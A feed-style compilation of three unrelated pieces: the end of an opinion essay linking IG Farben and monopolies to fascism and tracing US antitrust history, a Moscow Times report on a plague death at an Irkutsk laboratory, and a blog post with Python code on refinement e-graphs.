As Hitler relied on Farben to produce the poison gas needed to run the death camps, so Farben relied on the Nazis’ work camps for labor. Farben had vastly expanded its production of synthetic rubber and gasoline, and it needed the workforce to make them to meet the demands of war under the four-year plan. In 1941, the Nazis approved a new Farben synthetic rubber and fuel plant to be built at Auschwitz. The SS provided Farben with as many as 12,000 slave laborers from Auschwitz to build the plant, and untold thousands more workers once the plant was open. Farben constructed its own concentration camp nearby to house its slave labor, and if any worker fell behind in their arduous, breakneck work at the plant, Farben would send them back to Auschwitz to die.

For Hitler, the job of subsuming industry for murderous purposes was simple: He needed only to enlist one company, Farben, which had grown to include the materials, modes of transportation, and finished goods necessary for war and genocide. Farben made everything for the Nazis: the gas to carry out the Holocaust; the wheels, rubber, and gasoline to propel the tanks; the explosives in the bombs; and the metal of the Luftwaffe bomber planes. Germany’s intensely monopolized economy made the march of fascism not only possible, but straightforward for Hitler and the Nazis.

Why De-Nazification Also Meant Decartelization

As Hitler consolidated power and rearmed Germany, American leaders began connecting the rising fascist regime there with the country’s long history of industrial monopolies and cartels. The United States had antitrust laws on the books—notably the Sherman Act, which bans cartels and monopolies, and the Clayton Act, which prohibits dangerous mergers. But they were largely ineffective, and giant, dominant corporations had grown in both size and number at home. The Clayton Act was particularly problematic: While the 1914 law banned mergers via stock purchases, it allowed companies to buy their rivals’ assets freely, a major loophole that led to consolidation across industries. In the 1920s, the power that massive companies held over society and the economy raised little domestic concern. But the twin shocks of the Great Depression and the rise of the Nazis refocused the country’s attention, and concern, on corporate power at home.

The legislative record from the mid- to late 1930s is filled with debates and proclamations about the deep dangers of concentrated corporate power in the United States, and the need to preserve a democratic economy to avoid the fates of Germany and Italy. In 1937, a Senate debate around a bill to regulate the coal industry devolved into vitriol against monopolies. Vermont Senator Warren Austin, a Republican, blasted the bill for exempting the coal industry from antitrust’s ban against cartels: “We know that the cartels of Europe afforded Mussolini and Hitler the ready means, the equipment, the implements, with which to seize…industry.” Moments later, senators paused their debate when a commotion broke out on the Senate floor, as several lawmakers read and reacted to the opinion of Justice Louis Brandeis in Liggett vs. Lee detailing the extent of monopolization in the economy. William Borah, a progressive Republican from Idaho, read the opinion aloud, then barked to his colleagues , “There is only one remedy for monopoly, and that is to destroy it.”

The sentiment was spreading. In his second term, Franklin D. Roosevelt had left behind many of the policies and programs of the first New Deal and turned instead to strict enforcement of the antitrust laws to redistribute economic prosperity widely and avoid the corporate concentration that contributed to the Great Depression. Roosevelt’s famous 1938 address to Congress made clear his understanding of the connections between private industrial power and the rising threat of totalitarianism across the Atlantic. “Unhappy events abroad have retaught us two simple truths about the liberty of a democratic people,” Roosevelt told lawmakers. “The first truth is that the liberty of a democracy is not safe if the people tolerate the growth of private power to a point where it becomes stronger than their democratic state itself. That, in its essence, is fascism—ownership of government by an individual, by a group, or by any other controlling private power.”

To implement his antimonopoly program, Roosevelt put in place two trustbusters to operate the country’s twin antitrust agencies: Federal Trade Commission member Charles H. March, a vehement antimonopolist who served as chair of the agency three different times during the Roosevelt Administration, and Thurman Arnold, who became head of the Justice Department’s Antitrust Division—and perhaps the most important antitrust enforcer in U.S. history.

Both men understood the looming threat of fascism in the United States. Although it’s a story that is sadly too long and winding to detail here, powerful American businesses had spent decades waging war against the antitrust laws and the idea of competition itself. Both March and Arnold saw the viewpoints and actions of American industrialists as a threat to democracy and spiritually closer to the governments of Germany and Italy than the ideals of the United States. In 1939, March wrote that there are two ways to kill business competition: One is when a dictator brings the economy under his command; the other is when businesses convince good liberals that the only solution for economic crisis is to allow them to collude and become monopolies. “They both lead to fascism,” March wrote .

Arnold’s role in investigating and fighting corporate abuse both at home and abroad went far deeper. American monopolists had been conspiring with their German counterparts to fix prices and limit competition internationally for years. The most powerful companies in America—including Alcoa, Standard Oil of New Jersey (the company that would eventually become Exxon), DuPont, and others—conspired with IG Farben, the industrial giant Krupp, and other German monopolists in the 1920s and ’30s as a way to protect their dominance in the United States from German competition. In return, the U.S. companies agreed to limit their production of key goods including synthetic rubber and oil byproducts, handing over those markets to German firms. When Arnold took office in 1938, he kickstarted investigations into the transatlantic cartel rings. The Justice Department sued Alcoa, both for monopolizing aluminum and for its role in the cartels. In a Senate hearing led by future President Harry Truman, Arnold alleged that under Standard Oil’s cartel deal with Farben, Standard shared its patents for synthetic rubber with Farben but refused to share those patents with the U.S. military or American producers, and had pledged to continue that agreement whether or not the United States entered the war.

After Germany declared war on the United States, Arnold and a group of trustbusters began investigating German industry to better understand both the size and power of German monopolies and the extent of their cartel agreements with U.S. firms. (Cartel agreements are arrangements in which the companies agree to limit production and not compete against one another.) In 1942, a young lawyer on Arnold’s team named Edward Levi, who would go on to serve as attorney general during the Ford Administration, called St. John’s College professor James Stewart Martin and invited him to leave his position at the college and join the Justice Department to study the German economy. Martin would eventually lead a new unit within the postwar military government in Germany: the Decartelization Branch, the lead organization tasked with breaking up German cartels and monopolies.

Before the end of the war, Martin’s team spent three years producing 3,600 reports that served as snapshots of Germany’s industrial powers, including Farben. The findings of Martin and other government investigators and antitrust officials were clear: Without the money, technology, and industrial support of Germany’s monopolies, Hitler and the Nazi regime would have struggled to take power in 1933, and would have certainly been unable to wage war and commit mass murder at the same scale. And America’s monopolies had conspired and collaborated with Nazi industries right up until the outbreak of war, with some stopping only because Arnold and other investigators forced them to do so.

Even after Arnold left the Justice Department in 1943, American officials understood that military victory would mean little if monopolies and cross-border cartel deals didn’t fall along with the Nazi regime. After hearing of the department’s findings from those initial studies of German industry, Roosevelt sent a memo to Secretary of State Cordell Hull connecting the Nazi regime to German monopolists. “The history of the use of the I.G. Farben trust by the Nazis reads like a detective story,” Roosevelt wrote to Hull in the now famous 1944 memo. “The defeat of the Nazi armies will have to be followed by the eradication of these weapons of economic warfare.”

Two declarations laid out the job before the antimonopoly forces in Germany: a directive issued by the Joint Chiefs of Staff in April 1945, called JCS 1067, and the protocols of the Potsdam Conference between the United States, Britain, and the Soviet Union in August that year. “At the earliest practicable date, the German economy shall be decentralized for the purpose of eliminating the present concentration of economic power as exemplified in particular by cartels, syndicates, trusts and other monopolistic arrangements,” the Potsdam protocols read .

The Decartelization Branch was staffed to the hilt with investigators and prosecutors, some from Arnold’s antitrust division. At its peak in 1946, more than 160 lawyers, economists, and staffers worked at the agency, which set about identifying which monopolies and combines had to be broken up to ensure they could never again arm and finance fascism. Its first target for research was IG Farben. Farben had already undergone a kind of soft breakup immediately after the war, when U.S. forces seized Farben properties in West Germany, confiscated its funds, and ousted its top executives, who were bound for Nuremberg. General Dwight D. Eisenhower ordered Farben’s properties to be split along the lines of American, British, French, and Soviet control, but the core structure of the firm remained intact. Five years later, after extensive and at times frustrating negotiations between the occupying countries, U.S. agencies, and corporate business interests, Farben was fully dissolved into nine smaller firms, including Bayer and BASF.

Under “Law 56,” the military code that animated the work of the Decartelization Branch, the military government found and dissolved thousands of cartel agreements, both domestic and international. But besides the breakup of IG Farben and some parts of the German banking industry, the military government did little of substance to break up powerful German corporations, despite the extensive research and advocacy work of the Decartelization Branch. Historians have debated why the government’s deconcentration mission largely failed; the dawn of the Cold War and the specter of communism, which consumed officials’ attention, have been widely blamed. But what’s missing from this story are the real goals of corporate leaders—goals that, under Trump, powerful corporations are far closer to achieving today.

The Long, Slow Death of Antitrust in America

The enemies of the antimonopoly program in postwar Germany were numerous, and included, of course, business interests on both sides of the Atlantic. But perhaps the greatest threat to the program, and likely the primary driver of its ultimate downfall, came from within.

While the military trustbusters were housed within the Decartelization Branch, leadership in the Economics Division, which oversaw the branch, was far different. The Economics Division was charged with overseeing the economy in the American zone of Germany, as well as coordinating Allied policy across the country. Its leadership came largely from the private sector, including investment banks and some of America’s most powerful monopolies. Most prominent among them was the division’s chief, Brigadier General William Draper. Draper had joined the government from Dillon, Read & Co., the New York investment bank that had been the largest American financier of German cartels and the chief underwriter of bond issuances and loans to the German steel trust. Along with Draper, the division was stocked with corporate executives, including R.J. Wysor, the former head of Republic Steel (once the third-largest steelmaker in the country), and Edward Zdunek, an executive at General Motors.

Draper wanted little to do with the work of the Decartelization Branch and seemed unconcerned by the concentrated state of German industry. “He was fundamentally opposed to the idea that the cartels and combines required immediate reorganization and was convinced that the ‘experienced German management’ had to be retained,” Martin wrote of one of his earliest talks with Draper. A year after the war ended, the rhetoric and actions of the Economics Division had sowed doubt among military government leaders about the need for a robust antimonopoly program in Germany. Draper and his team instead pushed for preserving German heavy industry and keeping former Nazi-era industrialists at the helm.

As early as 1945, lawmakers and government officials back in the United States expressed frustration at the direction of the decartelization effort in Germany, and at the influence some U.S. officials were having on the program. Senator Harley Kilgore, the West Virginia Democrat who led the war mobilization subcommittee of the Senate Military Affairs Committee, said that December that some State Department actions in Germany ran counter to the goals of industrial deconcentration, and that those actions were “jeopardizing our national security and world peace for the sake of short-term cartel profits to a few corporations whose views prevailed in the councils of our military government.” The charges were so serious that a special committee of the Senate sent investigators to Germany to review the work of the military government, including the Economics Division. They returned with concerns about the corporate interests of those charged with breaking up German monopolies. “It is perfectly obvious that individuals with Wall Street connections and philosophy would not naturally be inclined to advocate forcibly and effectively a program of decartelizations,” the committee’s confidential report found. Martin quit in 1947, and he and others turned to the press and to lawmakers in Washington to complain of American monopolists undermining the work of the Decartelization Branch. But efforts by lawmakers, disgruntled branch staff, and reporters did little to change the direction of the Wall Street-affiliated leaders in the U.S. military government. By 1949, the Decartelization Branch was left with just 25 employees, including clerks, and the deconcentration program was wound down.

But despite the collapse of the Decartelization Branch, the lessons of IG Farben and the role monopolies played in the Nazis’ war program lived on at home. Antitrust activity had been largely suspended during the war, and dominant corporations ran rampant. Post-war, lawmakers returned to the problem of mergers, which had greatly contributed to corporate concentration and were overseen by the wholly inadequate Clayton Act. Now, with the threat of monopoly-enabled fascism on lawmakers’ minds, Senator Estes Kefauver of Tennessee and Representative Emanuel Celler of New York, both Democrats, introduced a bill intended to stop bad mergers and, with them, the rise of the kind of power that could threaten democracy.

“I am not an alarmist,” Kefauver said in support of the bill, “but the history of what has taken place in other nations where mergers and concentrations have placed economic control in the hands of a very few people is too clear to pass over easily. A point is eventually reached, and we are rapidly reaching that point in this country, where the public steps in to take over when concentration and monopoly gain too much power.”

Kefauver, Celler, and other lawmakers’ statements suggest they understood that liberty was under threat not only from monopoly, but from corporate concentration writ large. “I don’t want my children or your children to be confronted with signs which read, ‘verboten’—forbidden, you can’t enter this or that business because there’s an oligopoly of a big three or a big four—an absolute control,” Celler said in comments supporting the antimerger bill.

The Celler-Kefauver Act passed in 1950, and for the better part of three decades, the antitrust enforcement agencies and the Supreme Court operated in line with lawmakers’ postwar intent of arresting corporate power before it could become political power and threaten the republic. In the Supreme Court’s famous 1962 decision in Brown Shoe Co. v. United States , the first merger case the Court heard under the law, it endorsed Congress’s motivation for barring mergers that concentrated industries: a “fear not only of accelerated concentration of economic power on economic grounds, but also of the threat to other values a trend toward concentration was thought to pose.”

Daniel Crane, a University of Michigan professor who has written extensively about the role that concerns about fascism played in shaping America’s postwar antimonopoly policy, connects the antifascist sentiment of the 1940s and ’50s with the rise of structuralism—the simple idea that an industry’s structure is the best predictor of its tendency toward dominance and abuse. Structuralism as a new intellectual framework made clear that a company’s size relative to its industry was what mattered in antimonopoly law, rejecting what little support there was at the time for the efficiency and benefits of bigness. An economy dominated by monopolies would lead to fascism, and industries dominated by just a few companies would lead to monopoly, so fighting against corporate concentration was tantamount to fighting fascism. Any discussion of the political goals of antitrust—greater competition, entrepreneurship, economic democracy, and local control of industry—was motivated by the twin specters of fascism on one hand and Soviet-style communism on the other.

By the late 1960s, the structuralist project to shield the United States from corporate control began to target not only monopoly in the traditional sense of a single dominant company, but also industries where two, three, or four companies shared power. Such concentration continued to stoke fear that corporate power could threaten democracy and economic liberty. In 1968, the government crafted new rules governing when and why it would challenge corporate mergers, focused almost entirely on whether a merger would alter the structure of an industry and tilt it toward consolidation.

The same year, a group of lawyers, economists, and scholars led by University of Chicago law school dean Phil Neal delivered a report to President Lyndon Johnson suggesting that Congress should pass a law to deconcentrate industries and ban major conglomerate mergers. Four years later, Michigan Democratic Senator Philip Hart introduced the Industrial Reorganization Act, a bill that would deconcentrate any market where just a few firms shared monopoly power. Hart implored the Senate that, while the bill may have seemed radical, the problem of industrial concentration was real and must be addressed. “I see it as a question not only of economic—but human—freedom,” Hart said. (The bill never advanced out of committee.)

In the 1970s, American lawmakers and regulators came closer to enacting the vision of the German deconcentration project at home than at any point in U.S. history. Two other proposed bills attempted to take on oligopolies much as Hart’s had. The Federal Trade Commission prosecuted two major lawsuits in the 1970s—one against Exxon and seven other oil companies , and another against cereal companies including General Foods and Kellogg—to test whether it could successfully sue multiple companies in the same industry for illegal monopolization. (Both suits later faltered before the agency’s administrative judge and were dropped by the Reagan Administration.) The Justice Department, meanwhile, accused phone monopoly AT&T and International Business Machines, or IBM, of illegally monopolizing their industries. The goal of both lawsuits was breakup. The antimonopoly movement was in full bloom.

Meanwhile, corporate profits were flat or declining. As scholars Darren Bush and Mark Glick point out , the extension of New Deal policies into the 1970s, along with strong unionization, high inflation, progressive taxes, and other policies, had restrained high incomes and extreme wealth, which had both sharply declined through that decade. As with the onset of World War I and the Great Depression, corporate America needed a crisis they could use to cast doubt over antimonopoly policies and reclaim power. A stagnant economy and runaway inflation in the late 1970s exposed the New Deal programs to attack. Corporate power did not miss its shot.

The forces that had fought for repeal of the antitrust laws and advocated for a kind of American fascism never went away after World War II. For much of the 1950s and ’60s, organized capital lurked in the shadows of the New Deal, recruiting influential scholars and pushing their ideas into the fields of economics and industrial organization. The pro-monopoly “law and economics” movement found its footing in the wake of the war, and the University of Chicago, once a home for antimonopolists, was flooded with funding from the ultraconservative Volker Fund to hire such architects of neoliberalism as Milton Friedman and Friedrich Hayek. The school would become the home of the movement to overturn the antitrust laws.

In speeches and writing, others who would eventually take power pushed pro-monopoly ideas into the mainstream. Alan Greenspan, who served as director of Alcoa, JPMorgan Chase, and other powerful companies before becoming a central banker, lobbied for the elimination of the antitrust laws in 1961. “The Sherman Act may be understandable when viewed as a projection of the nineteenth century’s fear and economic ignorance,” Greenspan wrote. “But it is utter nonsense in the context of today’s economic knowledge.” Robert Bork, a far-right Chicago School disciple, wrote The Antitrust Paradox in 1978, and the book became a bible of sorts for those unconcerned about monopoly power dominating the economy. Bork argued that antitrust should seek only to promote consumer welfare and economic efficiency—the so-called “consumer welfare standard.” If large businesses could do those two things, it didn’t matter if they were monopolies or what market power they possessed. Policymakers, lawyers, and others who sought to overturn the prevailing structuralist approach to antitrust clung to Bork’s economic arguments as evidence that structuralism and antimonopoly policies were misguided.

President Ronald Reagan won office in 1980, in the wake of hyperinflation and anger at government. In December after the election, Chicago School scholars Richard Posner and George Stigler wrote to a Reagan adviser pushing the Administration to enact policies once in office that would virtually end antitrust enforcement against monopolies. While there has been debate around the memo’s importance, Reagan did everything it suggested, including ending the pursuit of monopoly prosecutions, rewriting the rules for how the government would analyze mergers, and appointing a consumer welfare standard adherent to lead the Justice Department’s antitrust division. By the end of his first term in office, Reagan had fully reversed antitrust’s emphasis on the dangers of corporate concentration.

The turn away from antitrust enforcement was part of a much broader pro-capital program in the 1980s that saw labor unions drastically weakened, regulations undone, taxes reduced, and industry released from most restraints on its ability to do as it wished across the economy. Reagan made Greenspan chair of the Federal Reserve in 1987, and appointed Bork, the solicitor general under Nixon, to the influential Washington, D.C. Circuit Court of Appeals and later unsuccessfully nominated him for the Supreme Court. Monopolies and their advocates had reclaimed power.

The Chamber of Commerce and powerful corporations no longer clamored publicly for the elimination of the antitrust laws—because they didn’t need to. The Reagan Administration’s quiet coup, carried out at the behest of the corporate class, in effect repealed the laws without the messy democratic process of convincing Congress to strike them from the books. The neoliberal economic and political system remained in power for decades, across both Republican and Democratic administrations, including, to some degree, the first Trump Administration. Yes, there were moments when policymakers challenged corporate power. The Clinton Administration sued Microsoft for illegal monopolization; President Obama challenged a handful of major mergers (while permitting many others); under the first Trump Administration, officials investigated and sued some Big Tech monopolies. But for the most part, mergers went unchallenged, and obvious monopoly abuses were shrugged off. By some accounts, wealth concentration reached levels unseen since the Gilded Age, while communities across the country suffered from deserted main streets, stagnant wages, and deepening economic distress.

The neoliberal stranglehold on policy broke in 2020 with the election of President Joe Biden. Biden staffed his Administration with some of the most ardent and visionary trustbusters in American history, including FTC Chair Lina Khan and Justice Department antitrust chief Jonathan Kanter. Together, the agencies challenged mergers, sued monopolists, and passed rules intended to restore competition to the economy. When Trump announced he was again running for office in 2024, the corporations that had once shunned Trump and his nascent nationalism lined up behind him. The authoritarian promise of Trump was apparently more appealing to corporate power than Biden’s antimonopoly resurgence.

In Trump, monopolies have found a pathway back to power, and their support for the regime suggests they don’t intend to leave. Trump today relies on corporations to operationalize his deportation agenda, and in return he has largely ceded control of the country to them. When anyone has stood in the way of monopoly power—including those within his government, like former Justice Department antitrust head Gail Slater, who was actually a credible appointee but was then ousted for seeking the most cursory of antitrust actions—corporate lobbyists have convinced the Administration to cast them aside. Our ability to control our own political and economic fate today is under grave threat. If we’re going to reclaim democracy from the grip of corporate control, we must learn the lessons that led us to this moment—and that might light the way out.

Antimonopoly and Freedom

The increasing cooperation between monopolies and an authoritarian government demands that the left end its capitulation to corporate power. If we work very hard, citizens and policymakers today have the power to break the grip monopoly holds over our economy and our democracy—not in some feeble way, with reforms that wealth and power can brush aside, but in ways so complete and decisive that corporate power can never again threaten our freedoms. This is not a radical declaration. It is a rational response to this moment in the American story.

Policymakers must return to our long-held understanding that monopolies enable authoritarianism and cannot be allowed to exist. Regulations, watchdog oversight, union organizing—all of these tools are crucial to democracy. But as we’ve seen so clearly over the past two years, a strongman bent on undermining democracy can and will undo those democratic institutions if they threaten his power. A tyrant cannot magically manifest a monopoly to conspire with if no monopoly exists in the first place.

If pro-democracy forces hope to be a countervailing power against fascism, they must find answers to the monopoly question. Maybe the proposals of the 1970s return, and policymakers across government pass laws and take other actions that deconcentrate industry. Maybe today’s citizen-led movements to fight data centers, organize workers, and champion small businesses can be the catalyst for an even stronger, locally based antimonopoly movement in communities nationwide.

Democratic Representative Alexandria Ocasio-Cortez said in June that Big Tech firms should be broken up because of their “totally unchecked power” and their desire to act as governments by creating and enforcing the rules of how industries function. That is a crucial understanding of the dynamics of corporate power. It must be the prevailing sentiment among those who intend to do all they can to save American democracy. There can be no acquiescence to “abundance” or any other corporate-backed policy or worldview.

Writing in 1942, at the height of Hitler’s monopoly-enabled atrocities, sociologist Robert S. Lynd understood that fascism was not the product of the Nazis or any other government, but of “the organized economic power backing the Hitlers in nation after nation over the industrial world.” Either we fight against that system, with antimonopoly action or something else, or we perish. “We live in a heroic time,” Lynd wrote. “And democracy will either throw off its lethargy and rise insistently to the stature of the times—or it will cease to exist.”


Ron Knox is a senior researcher and policy advocate at the Institute for Local Self-Reliance. He writes about monopoly power for The Nation , The American Prospect , The Washington Monthly , and other publications, and is the author of the “Who Shall Rule” newsletter.

The mission of Democracy is to build a vibrant and vital liberalism for the twenty-first century that builds on the movement’s proud history, is true to its central values, and is relevant to present times.

Democracy will publish on a quarterly basis and serve as a place where ideas can be developed and important debates can be spurred.

We do not seek to publish policy papers; we’ll leave the important details on budget line items and dollar figures to others. Rather, we seek breakthrough thinking on the concepts and approaches that respond to the central transformations of our time: the breakdown of the ladder of upward mobility; the promise and problems of an information-based, globalized economy; new national security threats which cross old boundaries and defy old assumptions from jihadist terrorism and nuclear proliferation to climate change, pandemics, and poverty; and a society where people work and live in new and different ways.

Liberals have been at their best when we are both rigorous in looking at the world as it is and vigorous in introducing creative approaches to remake the world as we believe it should be. Democracy is not interested in either reiterating the conventional wisdom or maintaining unity around outdated orthodoxies. We see our role as upsetting tired assumptions, moving past outdated and obsolete divisions, and stretching the envelope of what is accepted by and of liberals.

Our ambitions are large—as is the scale of the work before us—but we have no doubt that ideas can change the course of our nation. Now is the time to fashion a new liberalism for the twenty-first century, and we welcome all who are willing to join in this conversation.

Read the Editors’ introductory letter from our inaugural issue.

Donate to Democracy -- A Journal of Ideas

Nearly 200 People Under Observation After Irkutsk Lab Worker Dies from Plague

Hacker News
www.themoscowtimes.com
2026-10-04 22:31:45
Comments...
Original Article

Health authorities in Siberia’s Irkutsk region have placed nearly 200 people under medical observation after a laboratory worker died from plague, according to media reports and a statement by a regional leader Friday.

Alexei Tsydenov, head of the neighboring republic of Buryatia, confirmed that the woman had died from an unspecified form of plague. Irkutsk officials had previously described the illness only as a “particularly dangerous infection.”

Citing information from Russia’s consumer safety watchdog Rospotrebnadzor and Buryatia’s government, Tsydenov said the woman had not visited his republic and that her infection was unrelated to the region.

“There are no plague outbreaks in the republic, including in areas bordering Mongolia,” he wrote on social media.

The woman was identified as Daria Sh., a 27- or 28-year-old employee of the Irkutsk anti-plague institute, by the exiled news outlet Lyudi Baikala (People of Baikal) and pro-Kremlin broadcaster REN TV .

She reportedly told medical staff that she had accidentally broken a test tube containing live bacteria while collecting samples for testing.

She was hospitalized Tuesday with symptoms of severe pneumonia in Shelekhov, a town near the regional capital of Irkutsk. She was placed on a ventilator and died Thursday, according to the reports.

The Shelekhov district hospital was placed under quarantine pending an assessment by a special commission.

At least 197 people who may have had contact with her were reportedly placed under medical isolation , including more than 100 in hospital wards.

Authorities canceled planned public events in Irkutsk, while law enforcement reportedly opened a criminal investigation into potential health safety violations resulting in death.

Irkutsk region Governor Igor Kobzev urged the public to remain calm after meeting with Rospotrebnadzor chief Anna Popova to coordinate emergency containment measures.

“All identified contact persons have been placed under medical observation. As of today, the contacts show no signs of illness, and their laboratory test results are negative,” Kobzev wrote on Telegram on Friday. He did not mention the reports of the laboratory worker’s death.

Media reports have described the suspected infection as pneumonic plague, which affects the lungs and can spread between humans through respiratory droplets. Tsydenov’s statement did not specify the form of plague.

A Message from The Moscow Times:

Dear readers,

We are facing unprecedented challenges. Russia's Prosecutor General's Office has designated The Moscow Times as an "undesirable" organization, criminalizing our work and putting our staff at risk of prosecution. This follows our earlier unjust labeling as a "foreign agent."

These actions are direct attempts to silence independent journalism in Russia. The authorities claim our work "discredits the decisions of the Russian leadership." We see things differently: we strive to provide accurate, unbiased reporting on Russia.

We, the journalists of The Moscow Times, refuse to be silenced. But to continue our work, we need your help .

Your support, no matter how small, makes a world of difference. If you can, please support us monthly starting from just $ 2. It's quick to set up, and every contribution makes a significant impact.

By supporting The Moscow Times, you're defending open, independent journalism in the face of repression. Thank you for standing with us.

Continue

paiment methods

Not ready to support today?
Remind me later .

Refinement E-Graphs

Lobsters
www.philipzucker.com
2026-10-04 22:23:30
Comments...
Original Article

The idea of a refinement e-graph is to add a baked in a <= relation that is about as privileged as the e-graph’s native =

There is a story that compiler rewrites are often not bidirectional equalities, but instead are unidirectional refinement rewrites, moving from an abstract or floppy program / spec to a more completely determined one that can run on a concrete machine. It is quite common for the source language to be cagey about the exact order the children of an expression are evaluated, or what is the result of an integer overflow or division by zero. Being cagey may enable more optimization opportunities or ease translation to disparate machines. It is also just a fact of life for these languages.

Here is a prototype https://github.com/philzook58/refinement-microegg of a refinement egraph based on Max Willsey’s microegg https://github.com/mwillsey/microegg . A WASM demo is here https://www.philipzucker.com/refinement-microegg . Third verse same as the second

Example: Don’t Care Circuits

A nice example is “Don’t Care” in digital circuits https://en.wikipedia.org/wiki/Don%27t-care_term , You may say that certain inputs are not supported to a circuit and that the result is a don’t care in that case. An optimizer is free to pick a result that allows for the most optimal circuit. I believe George Constantinides explained a version of this example to me.

%%file /tmp/circuit.sexp
(fun ite (+ + +)) ; declare if-then-else as covariant in all arguments
(rewrite (ite ?x true false) ?x)  ; ordinary equality rewrite
(ge dontcare true)    ; dontcare refines to true. {True, False} >= {True}
(ge dontcare false)   ; dontcare also refines to false. {True, False} >= {False}

(insert (ite x true dontcare)) ; insert starting term
(run 5 :expand-le)

(extract-le (ite x true dontcare))  ; can extract x because refining this dontcare to true enables a nice term
Writing /tmp/circuit.sexp
! refinement-microegg /tmp/circuit.sexp

There are also refinement rewrite rules available in the implementation, rewrite-le and rewrite-ge .

Spiritually, (rewrite-le lhs rhs) represents the formula forall ?a, lhs(?a) <= rhs(?a) . Because of the form of this formula, we don’t have to match lhs on the equality nose. We can find a substitution for any starting ?t <= subst(lhs[?a]) to chain to a discovered inequality assertion ?t <= subst(lhs[?a]) <= subst(rhs[?a]) .

Don’t Care Semantics

I think semantics is really important and don’t like meaningless syntax manipulation. The intended semantics of this “Don’t Care” example is Bool -> Set Bool with <= representing pointwise set containment.

Term Semantics
x fun b => {b}
ite(c,t,e) fun b => {res for c1 in [[c]] b for res in (if c1 then [[t]] b else [[e]] b)}
dontcare fun _ => {True, False}
true fun _ => {True}
false fun _ => {False}
t <= s forall b : Bool, is_subset ([[t]] b) ([[s]] b)

x could be generalized to have an algebra of more than one dimension, which would bring us back to lifting e-graphs https://www.philipzucker.com/lambda_miller_egg/ https://www.youtube.com/watch?v=h1CzZguA6DE . Refinement and Lambda afaik are orthogonal features that have no issue being bolted together. Maybe something interesting might occur in extraction (some related terms may not exist in some contexts)?

Note that this inequality assertion is distinct from equating dontcare = true = false . This of course is problematic. But it is also distinct from equating to either of them dontcare = true or dontcare = false . If we did one of these, then all dontcare everywhere would be forced to be true or false , whereas we want the ability to be able to make independent choices at all usages. One could perhaps make dontcare1 dontcare2 dontcare3 etc as fresh constants and then independently equate them. This freshness game always feels like some goofy shell game to me though. There is some intuitive sense that equating an eclass destroys it as a resource, but stating an inequality does not destroy it as a resource.

Inequality Union Finds

Roughly E-Graph = Union Find + Hash Cons. So a Refinement E-graph = inequality union find + hash cons.

The interface of the inequality union find is more important than the details of the implementation.

from typing import Protocol
type Id = int
class LE_UnionFind(Protocol):
    # regular union find
    def union(self, a : Id, b : Id) -> None: ...
    def is_eq(self, a : Id, b : Id) -> bool: ...
    def find(self, a : Id) -> Id: ...

    # extra inequality features
    def add_le(self, a : Id, b : Id) -> None: ... # the analog of union. union = add_eq
    def is_le(self, a : Id, b : Id) -> bool: ...# analog of is_eq
    def all_le(self, a : Id) -> set[Id]: ... # returns all elements `a` is known less than or equal to. Analog of find.
    def all_ge(self, a : Id) -> set[Id]: ... # returns all elements known `a` is known greater than or equal to. Analog of find.

Previous discussions of mine on inequality union finds towards refinement e-graphs:

What Does A Refinement E-Graph Need on Top of This?

An (inequality) union find deals in atomic symbols e4 and atomic equations e5 = e87 (or inequations e4 <= e65 ).

An e-graph adds function symbols f(e4,e4) to this. These symbols appear in the following processes:

  • Refinement-closure
  • Refinement E-matching
  • Refinement extraction

The e-graph implementation need to be told how the function symbols play with the inequality <= by the user. Functions always respect equality = , but they may be monotone, anti-monotone or neither/unknown in their individual arguments. I like set difference diff(A,B) as an example of this. It is monotone in the first argument but anti-monotone/contravariant in the second argument diff(+,-) .

Refinement Closure

Instead of congruence closure, we can perform refinement closure. This basically is applying a theorems like forall a b c d, a <= b /\ c >= d -> diff(a,c) <= diff(b,d) instead of a = b /\ c = d -> diff(a,c) = diff(b, d) which is what congruence closure applies.

Refinement closure isn’t as nice as congruence closure. We can use it both in the form that makes new enodes or the form that only notes relations between pre-existing enodes. In a datalog sense, this is the difference between diff(a,c) <= diff(b,d) :- a <= b, c >= d, diff(a,c) and the guarded version diff(a,c) <= diff(b,d) :- a <= b, c >= d, diff(a,c), diff(b,d) . The first can be useful, but it can also be explosive.

Refinement E-matching

Pattern matching can be modelled as a processing a constraint set {?p = t} (see for example section 2.2.3 of https://www.cs.bu.edu/fac/snyder/publications/UnifChapter.pdf or section 4.6 of Term Rewriting and All That ). What makes it pattern matching vs unification is having variable only on one side, which is sometimes easier/more efficient to implement.

unification rules

For refinement e-matching, We can be working with a constraint {?p <= t} or {t <= ?p} . But otherwise really the algorithm doesn’t change that much. You just need to track which “mode” you’re currently in, and change the mode according to the variance of the function symbols.

For example, this diff pattern processes by flipping one of the modes. {diff(?a, ?b) <= diff(x,y)} ===> {?a <= x, ?b >= y}

In the implementation, there is one extra degree of nondeterminism on top of the usual e-matching eclass->enode nondeterminsm, where in the GE or LE mode, you may traverse an eclass -> eclass <= edge.

From the flattened relational e-matching perspective, this is the insertion of implicit (le ?a ?b) all throughout the pattern. For example the pattern foo(bar(?x)) becomes flattened to ?e1 = foo(?e2), ?e2 <= ?e3, ?e3 = bar(?e4), ?e4 <= ?x . <= kind of “mediates” between every function symbol relation.

Regular extraction is actually pretty similar to e-matching in many ways. We are seeking a ?extract = t but we want the “best” ?extract . We have a tendency to implement extraction bottom up instead of top down.

In refinement extraction, we can instead be asking for ?extract <= t or ?extract >= t . We might also want to use <= in our definition of “best”. Perhaps we want the most refined (which semantically might mean the most concretely implemented or most deterministic entity) and then tie break with smallest size term or vice versa.

A Toy Python Implementation of a Refinement E-Graph

This is basically a copy of my python microegg with some inequality smarts put in. There is a refinement closure step le_cong_step and le_cong_step_weak (which makes no new enodes). Because e-matching can traverse <= edges, you might need less materialization than you’d think.

ematching and extraction are keyed on Mode which says whether you are allowed to search up or down the <= or have to use on the nose = .

The variance table variance : dict[str, tuple[Variance, ...]] says the variance of each argument of the function symbol. It is kind of the same shape of data one might use for storying types of the symbols, but this implementation is untyped.

from dataclasses import dataclass, field
from enum import Enum
from collections import defaultdict
import itertools
type Id = int
@dataclass(frozen=True)
class Node:
    f : str
    children : tuple[Id,...]

class Mode(Enum): # Expand all below, all above, or equal only. Ematch, extract, and rebuild can all be keyed on this kind of
    LE = -1
    EQ = 0
    GE = 1

class Variance(Enum): # Slash Monotonicity
    MONO = 1    # covariant
    ANTI = -1   # contravariant
    UNKNOWN = 0 # "invariant"
    #COVARIANT = 1   # monotone
    #CONTRAVARIANT = -1 # antitone
    #INVARIANT = 0   # neither monotone nor antitone
    def act(self, mode: Mode) -> Mode:
        match self:
            case Variance.MONO:
                return mode
            case Variance.ANTI:
                return Mode(-mode.value)
            case Variance.UNKNOWN:
                return Mode.EQ
